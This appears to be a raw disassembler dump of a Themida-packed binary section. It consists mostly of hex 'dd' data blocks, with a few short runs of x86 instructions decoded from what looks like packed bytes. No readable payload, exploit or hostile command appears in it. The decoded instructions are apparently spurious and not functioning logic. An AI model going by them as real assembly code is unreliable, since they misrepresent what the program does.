dd 0D0182173h, 80028DC2h, 0D2681503h, 94D445DDh, 0AC40E0B3h
dd 9E552C1Eh, 42502220h, 29680CBEh, 31C41E0h, 0A613C507h
dd 34C2617Ch, 0F54088Ah, 0EDEBC1BFh, 0F0A0E029h, 0CCDD6828h
dd 87931C93h, 351CAC60h, 4CCC9A2Eh, 3224E424h, 40CC0764h
dd 0E6F50010h, 5D4D7A94h, 84A502B4h, 437DDB12h, 0F26930E8h
dd 0D42F8958h, 74641D28h, 33AD9418h, 1CCC238h, 8EE1141Bh
dd 407A2EF4h, 0A61026A0h, 0EB4AF30Ah, 23CCC8Dh, 905C6E1Ch
dd 0E462B8h, 0FA770608h, 0A4DB0C2Eh, 0D360FBD0h, 0A861FF16h
dd 1CDF5400h, 12E0138Ch, 0F147Fh, 0C0D42CFCh, 90A0D8F0h
dd 0B0E9895h, 0C05D0DDCh, 0AA070658h, 84BC0508h, 81447F4h
dd 0C60F0FFCh, 1CE20020h, 17D9A650h, 64CAFB94h, 0B0C99Ch
dd 68268AE4h, 9C31A328h, 24DCC248h, 8802B80Eh, 0E6D053E7h
dd 0B83528B0h, 19A612EFh, 1100012Bh, 0FE8C991Dh, 0CE18A274h
dd 60F96828h, 0ABB6388Bh, 2D041467h, 575E1D85h, 3E038D1h
dd 605D0101h, 673A1B46h, 8EA40915h, 55988595h, 3EF51CC0h
dd 27D8064Ch, 0E0855735h, 41343000h, 0CCF633CAh, 0A7661D11h
dd 0D39454CDh, 1223E867h, 106A1774h, 0C9800443h, 0A4104C85h
dd 0DD03351Eh, 0CD6168B6h, 1D2DA83Bh, 980985ACh, 0BB88001Dh
dd 3ACCE956h, 1EFC1138h, 0D168ABF5h, 0FD34005Dh, 8EF1BACEh
dd 0E910C259h, 0B8824B9Eh, 60004ED1h, 595A35A2h, 2058101Eh
dd 7D156887h, 0DFDC0148h, 0D22100C0h, 252F054Ch, 4451A4DCh
dd 89BF5D84h, 23C21A8h, 0A4C0DAB0h, 5040AB13h, 29ACA008h
dd 0EC9FF6E7h, 0AFA417CEh, 9408431Ah, 280A7479h, 0E8E80CE7h
dd 3D64A6h, 92956819h, 231918Dh, 94DFA150h, 98493C58h
dd 927C28A8h, 3EA44803h, 5C107772h, 6882187Fh, 8CA05956h
dd 173CEF38h, 4CFC5B00h, 0EC61B546h, 0E7097864h, 35110840h
dd 0EC6C5875h, 2EC0F424h, 0C190E2D8h, 0E7919898h, 0D7104882h
dd 0B25CE0A4h, 10908008h, 0DFA8002Bh, 0D13D17F3h, 6B3DE921h
dd 78C430A2h, 0D1991D4h, 6220A4F9h, 0B871E838h, 9412BD79h
dd 90412367h, 0E9E8C23Eh, 5030C321h, 463519D7h, 20FEA851h
dd 26128298h, 8C248DE7h, 726870C0h, 34C182C0h, 0B30CD8D3h
dd 14465416h, 0C3663800h, 14E705C1h, 0EC8713A4h, 62346526h
dd 462A95Dh, 0D612A4C4h, 0F090DAC6h, 0B047081Dh, 98753040h
dd 0CFA4C228h, 77C46954h, 2D8D3386h, 4000B548h, 6F38CBD5h
dd 4889BBFh, 5DAC082Ch, 0E2888BCh, 14DAA42Ch, 0F4142A25h
dd 82116886h, 6C7A58D0h, 4A80C032h, 0DD2D14A1h, 0D690517Fh
dd 0F20254h, 0CC6DF490h, 0CB44205Ch, 0CA0C994Dh, 40631E01h
dd 16785410h, 41BED8B1h, 8B0175DDh, 451020FCh, 58092439h
dd 0D47E0000h, 0A4E8FD85h, 28F8612Fh, 0C910A22Bh, 66E17053h
dd 82079498h, 904DDB7Ah, 8BD6A6Fh, 33A4D603h, 89380108h
dd 0D111CFC8h, 35A5E414h, 0B9DE2432h, 891B1049h, 7E301300h
dd 1CD47804h, 0F4700165h, 445486A1h, 7F83014h, 0CF2FF112h
dd 8433D009h, 4C141D48h, 5203C318h, 6090BCDDh, 0B9836CECh
dd 40628BF2h, 5876207Ch, 5BE85D79h, 0C4338E24h, 0D09CF1Fh
dd 903CC135h, 3CB20844h, 9004D3C9h, 0A408B5FBh, 1387D860h
dd 3DF868Eh, 0E6DE94DAh, 8A2496A0h, 8B086C5Eh, 7CA2021Dh
dd 0D4017C22h, 2063144Ch, 644C0851h, 4C417F7Ch, 9076DCEFh
dd 8E6812D4h, 19480128h, 84A25D35h, 6F9BF228h, 0CC306CD9h
dd 46314C8h, 6A01DC4Dh, 68064612h, 0E8C8EAF5h, 0DA14AF11h
dd 9D8E9Eh, 0A155A6BBh, 0A07F318Ch, 4CA0D590h, 9607ECCFh
dd 0C51BCAD4h, 0F2BC810Ah, 819044ABh, 6072E0h, 98FC044Ch
dd 4CD57845h, 0F702E0D0h, 22933690h, 0B880708Bh, 0E430FB95h
dd 4D67BC02h, 310C635h, 0E0E844FCh, 800C2AEh, 0CC8D981Dh
dd 13B729h, 625499EDh, 309E5D18h, 0DC5C333Ah, 34950218h
dd 5855C421h, 0CA35024Ch, 7CA89391h, 0F7C12443h, 0C56081BFh
dd 503646E1h, 2A84BAF8h, 1C41394h, 83EE093Ah, 334D1C68h
dd 14D8258Ch, 2D8B0018h, 0C99D5DE7h, 0EA58C289h, 79FC83F0h
dd 0C4190B59h, 5C89252Bh, 551B0460h, 1A8C9B27h, 8A80A60h
dd 0C0BE2709h, 83645C4Ch, 777C5105h, 0FC06E2C2h, 183847B9h
dd 886A8A23h, 0F7591335h, 818B2284h, 14130828h, 4CD603D4h
dd 70B1C21Ch, 0EE8CA0E4h, 6CBA8879h, 4FDB0E07h, 92858AA8h
dd 10080Fh, 3A9A2D36h, 0A8C22535h, 0BCB68C90h, 99E39E12h
dd 97352481h, 27231682h, 4858B507h, 681ACC24h, 2D525D4Eh
dd 0B0807484h, 30A4E079h, 9B20ED75h, 5249AD94h, 0A267CF0h
dd 383CEC8Ah, 0DACE80A3h, 8D2DD66Eh, 0A83B002Bh, 0CB89971Eh
dd 71006B1Ah, 0FAF2C8Fh, 5DF325BFh, 0FB80BC70h, 0B45EB750h
dd 1DCB9B00h, 3582A738h, 0B052652Ch, 0BED8C224h, 2B43B080h
dd 0A6044F21h, 347AFBE0h, 0F1C34283h, 0D021F213h, 270F4E0h
dd 0F5D86120h, 88C09439h, 1400D71Bh, 0DE19CCCBh, 329BD1Fh
dd 8B18687Ch, 0BC0194h, 26286CD2h, 2389000Eh, 0C8E77DFCh
dd 647AC09Fh, 69E491h, 0A033FB74h, 52D4A05Fh, 68C92023h
dd 7DA33518h, 47C2C0h, 0A41E9FB4h, 0F7ACC509h, 80066401h
dd 30D54CDh, 9468E0DAh, 581060FDh, 39C5F1DDh, 0D1A910Fh
dd 0A3896F99h, 0F0144E02h, 90CED5ADh, 44D3016Ch, 8A0B761Eh
dd 8B4028A3h, 693800DFh, 18CC93B8h, 0B1143594h, 0F37D22C3h
dd 3126137Ah, 5F856483h, 44805B11h, 262F8E17h, 0C0741CD7h
dd 916DA447h, 608AF8A1h, 0D0BAEBCCh, 1D30CE00h, 4CBCB5C0h
dd 0ED2D1F7Ah, 0BBE0A85h, 16A4410Ch, 89408A8Dh, 3504A48Eh
dd 5C058AD1h, 0D9F4D25Fh, 92A658E1h, 0F7F88728h, 84B8350Ch
dd 63D2F28h, 82D8B7Fh, 1A7009ADh, 32A4C6A8h, 90C84F5Bh
dd 1426DC7Bh, 0A1493401h, 38E0D51Bh, 2507728h, 0A4558EE0h
dd 0ACC9430Fh, 40D031A5h, 0F5D147F3h, 0A4128B73h, 0C8402C5Ah
dd 0E0092BBDh, 0B5903926h, 52EF9412h, 494D5DCh, 16249E9Ch
dd 78520885h, 188DECCCh, 38A68394h, 6C0019DFh, 0EE323F2Dh
dd 7D4BD58Bh, 18E7121Fh, 3948C883h, 8AFE820Eh, 90FACA06h
dd 0B5FA80A8h, 4A941D0Ch, 31050B0h, 277091ADh, 0FFF05D17h
dd 45000204h, 9D1D0DC1h, 4AFDA48Dh, 1C28213Ch, 71D0FF90h
dd 800290Ch, 608E889Ch, 1A4671Ah, 2CAD798Ah, 8BA63E68h
dd 800FBE90h, 0FDA11CF4h, 34C1ADAh, 4D39822h, 68054CA6h
dd 6C872928h, 0D9546673h, 3060F876h, 0C58C124Eh, 0BF7C918Fh
dd 0ABCC00E5h, 0C018C95Bh, 34F2E469h, 0E24D136Ch, 5F245074h
dd 0C48B9709h, 62889FAh, 3E317FB0h, 3D0BE021h, 0C04450FCh
dd 18711D4Fh, 0EC348D94h, 481F7ADAh, 7AEC30h, 5508967Eh
dd 0DED567BFh, 1B8E7A16h, 4EAA9700h, 0E8AF584h, 0B2F3816Eh
dd 80965C87h, 677ADD4Ah, 85008EB8h, 0B133CB71h, 18E704B9h
dd 200E8493h, 0D932C1E8h
dd 154585Eh, 0D1459722h, 0AA46E04Ah, 0C7B51A07h, 0F14610DAh
dd 938D0C68h, 7400181h, 87869728h, 5107960h, 3112F96Eh
dd 0F0813143h, 7B58834Dh, 3A594B27h, 220D8D08h, 0D469716Eh
dd 163CA3AAh, 82B58091h, 0CEF065FBh, 1C9401BDh, 8BD5A963h
dd 3B78F0ECh, 0B80C0AF4h, 4056D6A3h, 67900CDDh, 1068DF27h
dd 0D30CDC78h, 217E31CBh, 6EA214F3h, 53060860h, 785A1764h
dd 0E34160Ch, 0A6C1188Dh, 4021379Ch, 5EE1A150h, 49D9D40Dh
dd 0EC6E9A18h, 0C0FAF3B1h, 0F938950h, 85072292h, 8BB518DEh
dd 0F13609F7h, 0BE5E0230h, 0D41FCB8Ah, 93E9F3C0h, 0C00AB02Ah
dd 5ED19901h, 0AD15A312h, 0FBF08047h, 2CEF8C48h, 5C0F01h
dd 0B34FF9AAh, 32F07953h, 0F89308A0h, 0D178A167h, 0C0E6633h
dd 0F1203490h, 8248FDC8h, 1757000Ch, 0D03B1D62h, 0F32A30A3h
dd 8A21F028h, 7FE43E00h, 9971461Bh, 5689028Fh, 19CBAA7Eh
dd 0C9939890h, 0A7B06C60h, 1F2382B1h, 0CD9890Dh, 78183905h
dd 165B9701h, 20BB4BAAh, 3FA6A20h, 34426ABAh, 480FD8F3h
dd 6BD8F25h, 0E10EC5Fh, 5610D722h, 70C9AA26h, 0D9A60F09h
dd 760C277Ah, 24F9F3C3h, 5C5C11h, 67645F65h, 6C9039E7h
dd 83AFECA3h, 2805B1E3h, 0D36012CBh, 49FB8680h, 0EEBB2EEBh
dd 0EF050C0Eh, 0E0C05248h, 0E85EF9C1h, 0A534181Bh, 588D9001h
dd 0C788DC00h, 35BA7AA2h, 0DBA7064Fh, 0E86F3893h, 508E0F28h
dd 0A465D800h, 2893D2B4h, 301C923Dh, 0C3980BAFh, 341F5EC9h
dd 9697A5DCh, 8F20BA00h, 94E22B0h, 0BE5C15AAh, 5E093810h
dd 3493F909h, 10AC2C75h, 8B313D2Dh, 0D4769Dh, 0BD0F7F32h
dd 9C065AFCh, 0C56E3438h, 14F97340h, 28B85C4Eh, 0DF880F0Ch
dd 0AB2434A9h, 0E0A80898h, 0AA5E560Eh, 6444922Ch, 9E003FB0h
dd 2A4F65BBh, 0B90FA900h, 18CD21ADh, 0FFB72434h, 1B6C80A4h
dd 0C6D1C564h, 4FFB9800h, 0F18DFA61h, 547431A3h, 23C38C48h
dd 2F2B14A4h, 74B52488h, 0F94E0503h, 20B060FBh, 0C9601F8Eh
dd 0C3A98A02h, 80176673h, 9146FAC0h, 2C9E16h, 0EC0A5728h
dd 194DD7B7h, 0AC27C570h, 0FF1BFC40h, 7C7FC3AAh, 0C8D8302Ch
dd 0D4222B19h, 0ACB9F624h, 0BF1C791Ch, 242A4BC0h, 1DF8D0Dh
dd 0F93E712Dh, 30C5D17Eh, 0CC91D288h, 0D8733F8Dh, 48E8D818h
dd 60128CC5h, 7C0059Fh, 9CA8159Dh, 0DC64FBC0h, 0F51EFAA7h
dd 4C14274Bh, 8F150F08h, 0D96EA185h, 8C410120h, 0BBE0AAF1h
dd 82380375h, 0A36DF38Eh, 50061FC3h, 94B49384h, 0CBD71570h
dd 6229341Ch, 3C29A8h, 986A9C3Dh, 0F1D2FCBh, 7B465ACFh
dd 0AC20C15Fh, 448C5064h, 14012493h, 86958040h, 0EE8E61FBh
dd 0DEB1F02h, 69AD1234h, 0F9A3FC08h, 1025195Ch, 8FC42E6h
dd 3F1ECB00h, 0C79BC8Ch, 0D338BE5Bh, 0CF702C90h, 7860BB80h
dd 6F0F094Fh, 0D8A922B5h, 0E83BE00h, 0E91C5F42h, 1C383684h
dd 177C248Bh, 7BFD531h, 30FAC1A2h, 0EC81DBC9h, 626046Eh
dd 33281C89h, 0CB112010h, 0E2B86BCh, 0E581580Ch, 0F95690B2h
dd 4EA8F8FDh, 1C597E79h, 1D01F1F5h, 3DC58138h, 80130222h
dd 60C6260Ch, 0DEA29CCh, 1808E95Dh, 1E5FB52h, 42BB533Eh
dd 0F740C438h, 0BDE9D30Ch, 84C42763h, 46C50500h, 0C80142ACh
dd 5907A12Dh, 258502F5h, 5240487h, 33993E7Ah, 63ED382h
dd 0D4AB189Ch, 16BBEBEh, 8131B613h, 0F711C5F6h, 5EF50180h
dd 7FE9521Ch, 56CA866Ah, 10F45B8h, 58871E44h, 83D6148Bh
dd 5930D8A6h, 1D0041BFh, 0E7817221h, 609175FBh, 6D090C4Bh
dd 0C17C785Dh, 0F4E9030Ch, 5268525Bh, 0C17C4F5h, 26A80C24h
dd 0C836E910h, 0FA86C750h, 2B1567FEh, 0CD548734h, 68951808h
dd 272FAF2Ah, 7097E910h, 69D0BA05h, 743B80D5h, 371AD918h
dd 19C8D331h, 56E5E922h, 6065FF03h, 12215807h, 5E55450h
dd 0A22D0842h, 63C3A1Fh, 8BF8B683h, 4EFD8BC6h, 30F2779Bh
dd 550E94CAh, 5D1906BDh, 1E3C7533h, 8704C210h, 0E75C9CCEh
dd 887C02C6h, 438630E9h, 0AC68AD24h, 3C554A66h, 0F440281Ch
dd 18B800C4h, 25596D54h, 673F2791h, 0B2D0063h, 2934F7E4h
dd 4A580FC2h, 0D501EA87h, 566E85E9h, 8348B57Ah, 0CDB74593h
dd 0A5D26E6h, 0BA844EE9h, 1539F18Ch, 330840F8h, 66BA2C65h
dd 3B96DE21h, 22F8E90Ch, 9EC510D5h, 273587CCh, 61E1EEEBh
dd 0CB290E8Eh, 0F7D0FC59h, 5D94DEDDh, 804221F5h, 7423A5B9h
dd 0E91CC101h, 8FFD8102h, 4CF2069Eh, 546640CAh, 4389DF05h
dd 0E8831DE0h, 0E986A1A4h, 338F67A6h, 2970D314h, 0BF574003h
dd 356769Ah, 15FFA92h, 189581C2h, 570C0C0Bh, 0E9663B06h
dd 3B3EDBDDh, 9B991001h, 53870EFBh, 0B636338Dh, 0F50D0631h
dd 3D264532h, 2909A032h, 19C6D788h, 10712214h, 81EBD1h
dd 4B4546F3h, 5BD88957h, 7B6BE924h, 532FB880h, 6250BBAh
dd 61E269E3h, 527BEEC1h, 0BB38CF7Ch, 5AD08201h, 0C02DD8F7h
dd 0A16DFF55h, 449380A2h, 0B0034966h, 116C5C02h, 0B05B9C0Ah
dd 676861CAh, 0E0D24C4Dh, 0A03B52F2h, 0A98D40F7h, 7A02539Ah
dd 0D2E9D089h, 0FDB3AF87h, 2C8B29A0h, 0C4DA829h, 95E3E945h
dd 0E850C010h, 0C3E023DBh, 6852581Ah, 3E03AD02h, 0C6037A60h
dd 4728A559h, 4305D003h, 0E1CA75E8h, 188F24A3h, 159EEDC1h
dd 45269622h, 0D66903DBh, 0AE1A49Ah, 0D9AD3421h, 304CE6EEh
dd 5366A0CCh, 59B10351h, 0D1F6C9FEh, 0E980040Eh, 5F16225h
dd 285D4088h, 5B6637DEh, 7F3BE308h, 77C44B61h, 0B1EC6AB6h
dd 99E59137h, 23884454h, 68510557h, 598D77ABh, 1F4D9FE0h
dd 895B5592h, 0B0181663h, 2CB010BEh, 0C1462F04h, 0F4C007E6h
dd 9B21A04h, 5EF301A4h, 39E9EF30h, 0AF11D4Dh, 0EE1C8BDEh
dd 44FD9A52h, 48A13444h, 211BC373h, 40E12DCDh, 895206C6h
dd 0D658E275h, 5DF3816Eh, 4888EA4Fh, 0A43A6413h, 0ECA46B62h
dd 0AAEDB25Bh, 8990A140h, 0D141E90Ch, 0C8003036h, 87B65259h
dd 0E678E680h, 6170BFC6h, 81A824EFh, 3F6EF07h, 8EC3315Fh
dd 68180DDCh, 42CD6FBDh, 78C6BA6Bh, 0F1C61EB0h, 0B2EDE5Eh
dd 72F8685Fh, 573B1EB0h, 0E7F86681h, 0EC54E812h, 129C908Fh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
adc ch, [esi]
xor [eax], edi
in eax, dx
add al, [ebp+64h]
and esi, [eax-1E4557AEh]
db 26h
push ss
push 0C03733C5h
sar dword ptr [eax+60303912h], 0B6h
loc_4E3F0F: ; CODE XREF: Themida_:004E3F88j
js short loc_4E3F12
inc ecx
loc_4E3F12: ; CODE XREF: Themida_:loc_4E3F0Fj
sal eax, 35h
idiv byte ptr [eax+ecx+0Fh]
sub edx, 1BB36EE6h
dec edx
adc [esp+ecx+6A2B0D58h], bl
xchg ebp, [eax-0Ch]
xor [edx], dl
insb
and al, 2
db 26h
push edx
jz short loc_4E3FA6
and al, 0DAh
xchg eax, edi
inc edx
push es
jo short loc_4E3F80
rep out 82h, eax ; DMA page register 74LS612:
; Channel 3 (hard disk DMA) (address bits 16-23)
hlt
; ---------------------------------------------------------------------------
dw 29C6h
dd 0CED08E2Ah, 4159359Ah, 68570567h, 57521308h, 31ACB411h
dd 322C118Bh, 7BBF2D80h, 93A7719h, 7F5FF92Ch, 0F5520039h
dd 0D1DDF74Fh, 1B8B8EDh, 3DEF4C35h, 6412C2E9h, 5B2ED902h
dd 2208CE01h
; ---------------------------------------------------------------------------
loc_4E3F80: ; CODE XREF: Themida_:004E3F38j
inc ebp
cmp esi, [edi+42EFAEAh]
pop edx
jno short loc_4E3F0F
inc eax
mov [edx+61h], ecx
lodsd
fiadd dword ptr [edi+ebx+1Dh]
jmp short loc_4E3FE0
; ---------------------------------------------------------------------------
db 16h, 4, 15h
dd 0BD84FB01h, 8130849h, 5A021C78h
db 68h, 0C7h
; ---------------------------------------------------------------------------
loc_4E3FA6: ; CODE XREF: Themida_:004E3F31j
inc eax
inc esi
cmpsb
out 0DEh, al
retf 0B7E6h
; ---------------------------------------------------------------------------
dw 95FAh
dd 0F04CEC54h, 5531E983h, 6BE26900h, 525B4819h, 32690F7h
dd 0D3B8505Ah, 53C26E61h, 924CB28Eh, 0B6240F30h, 871E30C0h
dd 8907ACFAh, 0A2363252h
; ---------------------------------------------------------------------------
loc_4E3FE0: ; CODE XREF: Themida_:004E3F93j
inc esi
pop edi
push esi
; ---------------------------------------------------------------------------
db 0C5h
dd 0C8318C8h, 4C49E5E9h, 0FBEB24BDh, 50F4F301h, 0E3E43BACh
dd 0A4FCC003h, 1211349h, 0B5F6DD48h, 32336F0Bh, 0E932E8ADh
dd 0BD7D54ECh, 6CF791E8h, 4F3BFDCh, 5731AFCDh, 0B9519010h
dd 36781688h, 0CA533Eh, 6508C812h, 0E726E916h, 8751B204h
dd 622C3824h, 92BE6547h, 31EE84D5h, 0EF343DC7h, 7530E92Ch
dd 0D2BF0A4Bh, 43DD3730h, 591CC22Ah, 7E591A4h, 1E142CF5h
dd 5DEE0681h, 0FD3D520h, 2942830Ch, 83E10F3h, 144AE93Dh
dd 82857675h, 0E09CCD8Ah, 1C96055Bh, 7B0FF382h, 625F429Ch
dd 91D2E6CCh, 3B893DE2h, 6E094474h, 0B4DDEA2h, 77625A07h
dd 0A806413h, 789B6261h, 9A434DBh, 0AC085B08h, 0FDE94FD2h
dd 4168D20Ah, 2874FF55h, 53924044h, 3E38924h, 0BE80DB21h
dd 511A0387h, 3DD67EF7h, 0A99834CEh, 87F61171h, 5E120134h
dd 6EE91DC1h, 64ACE535h, 0FFC60714h, 82EBC253h, 5048A466h
dd 67B000F0h, 0CD81420Bh, 20191833h, 3E26D005h, 0E91B7D1Fh
dd 58941826h, 0D21C5CF7h, 8D34D499h, 0A6C7F65Fh, 620F24F4h
dd 4A02449Ch, 0FB43B066h, 43292A2Ah, 205876ACh, 590C1FBBh
dd 0BC5FFE01h, 86F66012h, 0E27736BEh, 0E6816303h, 0F49843B7h
dd 258D5E80h, 0F196C068h, 17C94DF5h, 47FEE926h, 9474888Ah
dword_4E414C dd 0AA2C5A12h, 0E07B30E9h, 305CB45Eh, 5866E616h, 534B5301h
; DATA XREF: ___:off_43A50Co
dd 0FEE967B7h, 76641C5Dh, 91E912F0h, 0E186C97Ch, 0DEC3ACD7h
dd 0E96194A1h, 865161FBh, 0DC010C8Bh, 58967377h, 0DD531A32h
dd 5206C496h, 4492BA0Ch, 14F996FFh, 5A7F003Ch, 0E831FE04h
dd 90C1E65Dh, 1F3EE676h, 2C429DC8h, 2BA24C4h, 49602471h
dd 2C053740h, 0A479BE28h, 0B2660B01h, 31DBE91Dh, 13050D62h
dd 802CE51Bh, 34E27CD2h, 0D8E9EC08h, 323B39F5h, 88CD4B9Ah
dd 61160B2h, 5CA14087h, 0DA6479E9h, 0A3B55B2Ah, 168E7B04h
dd 0CF00FB25h, 0F680C6FEh, 0F11AB170h, 7CC285Ah, 454904C1h
dd 489C207Ah, 932E7C02h, 11CD954h, 2580883Eh, 61100DC1h
dd 0CD7D0160h, 213F5165h, 0C108E61Eh, 4C5F130Ch, 66695C19h
dd 22BE929Ch, 0A8E4E244h, 0F904C1E1h, 0A18F5C01h, 9D8BFE39h
dd 42599A13h, 44C6102h, 57B9163h, 0E910152Fh, 80F6939Ah
dd 0EE87AEDBh, 10B9C3AEh, 0F70C8652h, 3F105966h, 0E90C282Ah
dd 404A4D3Fh, 2DE6D0FCh, 3870DB09h, 0D602811Ch, 9050EB12h
dd 5CE57BC5h, 0FA339B09h, 0A2B35D68h, 0F8824155h, 0B0812F86h
dd 347A1E88h, 3FA5B901h, 0C2200D43h, 56720D63h, 43CC5545h
dd 0C1A80CADh, 480E05E8h, 517D2Dh, 58C589DAh, 297A101h
dd 682EEA2Ch, 72644F2Dh, 6307D738h, 1713739Fh, 0F54FCC15h
dd 8E2F85D3h, 497B4E8Ah, 0D10EC3D0h, 0FE139EAh, 26F2FF84h
dd 0BAD854AAh, 0B579CE62h, 8C1E5126h, 0F75B6671h, 171F2A76h
dd 0FADC5239h, 810AD697h, 0EE8EC7ECh, 21F3096Bh, 0E1895144h
dd 48112721h, 0FF006435h, 9D4C1C77h, 82103333h, 0CBACF99Ch
dd 0C1BF4A81h, 0D021D656h, 7ACD08E7h, 0A7401504h, 5DF67E7Ch
dd 0EB28961Ah, 0BB2C9808h, 2C388CCh, 35245396h, 0A2D963C2h
dd 0E0DAF78Dh, 3E3CBED2h, 0E9376ECh, 3412C985h, 994F6887h
dd 2ABEEE30h, 78DB2969h, 162C10A3h, 0B73677A1h, 111C3068h
dd 3C19ED8Bh, 912D3D2Ch, 9940B63Eh, 95179463h, 2116822Ah
dd 130505C6h, 7DB7886Eh, 0F801D2A8h, 0DC26A2B3h, 0A70CEACFh
dd 1120591h, 876008D9h, 0B1B3B004h, 39168981h, 4D45B062h
dd 38735961h, 62C56873h, 7A046986h, 0C5500ECAh, 794E53F2h
dd 3189FE58h, 86C790D8h, 4D760BEBh, 5E8EEF29h, 973AFD61h
dd 0A5FAE524h, 0E94107C7h, 810B3BC4h, 54C0E343h, 1357E19h
dd 0A310106Ch, 181200Ah, 834AC508h, 64E1E961h, 880F5274h
dd 45D2F6DAh, 14B33AA0h, 4A538503h, 39F1571Ch, 0C26F832Fh
dd 0DEAA5566h, 3EB8020Ch, 0D50114CCh, 0A38FBB84h, 2A4B2459h
dd 432EE103h, 0F4F1F90Ah, 7D51A726h, 4AA4E2CDh, 41B5CAC3h
dd 2844E952h, 16044C42h, 0FB4051D3h, 1C9ED0BFh, 0D70104CEh
dd 8BF8215Ah, 0C2090069h, 3168E2D1h, 656B9612h, 0AEDD51Bh
dd 9CD1073Bh, 6B300425h, 0DC9B00Ch, 8C330FFEh, 0C8081029h
dd 191F2493h, 0CEC331A9h, 0FE5A14FAh, 89EF7906h, 3010D25Ch
dd 2D80C9D5h, 0AD500F60h, 0DE6B5F3Ah, 0D8298120h, 87E24C05h
dd 9856593Eh, 5E1AD91Ah, 4BB3C48Fh, 485ACA34h, 0D2102C8Fh
dd 0E0F26809h, 0B4FFE945h, 7B6231C7h, 0FA2D741Ah, 7FE76816h
dd 40DCA8CCh, 6C9C5A80h, 46EE6252h, 35A92046h, 926AAC76h
dd 18BF74B7h, 0EA8F1655h, 0F6109803h, 56015A80h, 4E080146h
dd 0FC1DD365h, 7F123FE7h, 70002068h, 72B15B83h, 0F3C962E9h
dd 0A6E015B6h, 9998F6AFh, 0A600AD4Fh, 6DCE8166h, 0BD0ADF43h
dd 4E3E4FBDh, 402E6802h, 0A50A7E9h, 0D5D1A783h, 423669h
dd 1B8011A5h, 0F432BB53h, 901F699h, 76F9E9D8h, 0F5CA6F98h
dd 653F7712h, 29E6D909h, 0B7F020CFh, 7DEFC022h, 22695803h
dd 0C088C787h, 0F8298B17h, 2D35F59h, 0E9E78957h, 662D69E8h
dd 40756720h, 0C709014Ch, 77C2958h, 54845FCCh, 0E720DB85h
dd 4DEE3A5Dh, 5A2B153Fh, 8A6035FBh, 6DAB187Ah, 0C7C8A00Bh
dd 0C24F5A70h, 54075BE2h, 4C0D3CD3h, 8814C20Ch, 8193AB77h
dd 0F06E7E20h, 0E5BC790Bh, 0FF8D7A92h, 0C8726341h, 28858758h
dd 0E89D7F6h, 3F78004h, 835BF804h, 2D2AFFABh, 557C7B51h
dd 5D63E764h, 19C4D9C7h, 6C9E9916h, 4A8C8535h, 5A544344h
dd 6CE916D8h, 0EA18217Fh, 0DF1ED418h, 0B4FDEB66h, 81149107h
dd 2F136B85h, 81DDCD30h, 44A49B5Ah, 885BB88Bh, 6353F2EBh
dd 50E63B0Ch, 9222410h, 0CDF20115h, 5B9D5E24h, 0D21C0C5Dh
dd 0BDC8C712h, 6C5BA20Eh, 31662C16h, 63BB42EFh, 7A5F93A6h
dd 7860845Dh, 27438B94h, 0EB710328h, 76DC3BD8h, 0ED910C00h
dd 0D22D4941h, 32352620h, 8007A030h, 9A2315CFh, 0EA475C12h
dd 0ED363D7Eh, 0E325A7Dh, 0B3C081DCh, 0C110255Eh, 0D04E21F9h
dd 0B90591A2h, 59CB899Eh, 0B0D95BC3h, 4FC8E9CDh, 335E228Ch
dd 6318F86h, 160DAFCh, 80D4F61Ch, 3B3973E4h, 0F41CB6ECh
dd 3A94246Fh, 4509D720h, 0B047D368h, 0BC82D254h, 2D246F5Fh
dd 0A0AB94C7h, 11C32526h, 0FD68E1F7h, 3DC31497h, 212929D3h
dd 0F0250CAEh, 5E4F5414h, 0B4EEBB63h, 9729DEC9h, 1E5EB91Ah
dd 0BA52FEE8h, 0F4169F09h, 5178048h, 0EC7A836Fh, 0F73DF2F2h
dd 90D389E4h, 20C30549h, 85F4460Ch, 397489F3h, 51384D0h
dd 1BC60534h, 0A9F8477h, 929D7AFCh, 86141E81h, 0F3C7169h
dd 34412214h, 0C6A617E7h, 4C75F49h, 29033DB1h, 0C3D35EF3h
dd 7D458A04h, 11840592h, 731ADAA2h, 0C3657E3Eh, 8B080CB5h
dd 0EA880041h, 4C8A5B59h, 86FA1798h, 0B90126B3h, 6D1C739Dh
dd 1065F8F5h, 1846B520h, 8270FE5Ah, 164879D4h, 2FF30752h
dd 122BF89h, 0E1898FDFh, 59AC1163h, 8415429h, 8F28DE66h
dd 0EF2F6CEAh, 5D163248h, 57036F13h, 0B03759EEh, 32E9CB29h
dd 4BA02B8Dh, 9FF9DAE0h, 8A606628h, 465482FCh, 8F3DEAABh
dd 6101AE0Ah, 1EDC18Bh, 0F16EC562h, 0E8F88161h, 0E368175Dh
dd 0C28F6023h, 52602751h, 9F5F46BCh, 0C7E9137Fh, 468481Ch
dd 5CFFC039h, 0C5345F30h, 13F0E2B8h, 0FE02FE89h, 89348BF3h
dd 4B685973h, 0ACE9C6A1h, 0CD413450h, 1A8304B0h, 19ECE9h
dd 6EC1D7F7h, 0B1C0C6EFh, 2D42959Eh, 0A757500Bh, 5520573h
dd 0A15F070Fh, 7BC544AAh, 2BDF612Ah, 0E552054Fh, 704B3804h
dd 0C80C8704h, 8833515Ah, 42FE7EFDh, 935864DCh, 989A6817h
dd 83A95028h, 80D43056h, 295973C3h, 89E5106Ch, 15B9054Ch
dd 0EE814213h, 0F9A656A2h, 44814299h, 9C1A2900h, 3E1BDE26h
dd 280C6C29h, 1C1D0F43h, 5C4C1E37h, 8EB85B3Eh, 598B0B69h
dd 58C38B89h, 42B55887h, 1E401135h, 8E0B7E3Ah, 0C008E978h
dd 5D5D687Eh, 3A812F1Dh, 0E133EA49h, 7A1F6DF0h, 0C2D93645h
dd 0FE032A7Ch, 5E2C0CAh, 4515D7D1h, 9679013Bh, 8826AA4Bh
dd 3809C30h, 0E78871B4h, 8E7D8ED7h, 0C74CCFFEh, 0AC24F0Eh
dd 59540CE9h, 0E159122Bh, 52E4F068h, 5C661C9h, 0FFF4234Dh
dd 60879886h, 14887653h, 43900347h, 2808FAD1h, 762D93FBh
dd 0E13D285Bh, 0D1975312h, 138CF26Eh, 0FB4C7A01h, 0D4845073h
dd 440B164Fh, 6440412Dh, 0B025497h, 0B783B4E1h, 0A50020B2h
dd 0D37479EFh, 0CBFD311Fh, 0C5AD5988h, 4E8DA5E7h, 72058AFEh
dd 8232A3B6h, 0CA520474h, 33EF4173h, 4F397CDBh, 2915094Eh
dd 80E88F2h, 802D8526h, 0C8BE0F0Dh, 0C4757D68h, 130A94DBh
dd 480FD388h, 371212B6h, 54E23203h, 0E98E1571h, 0EA79B95Ah
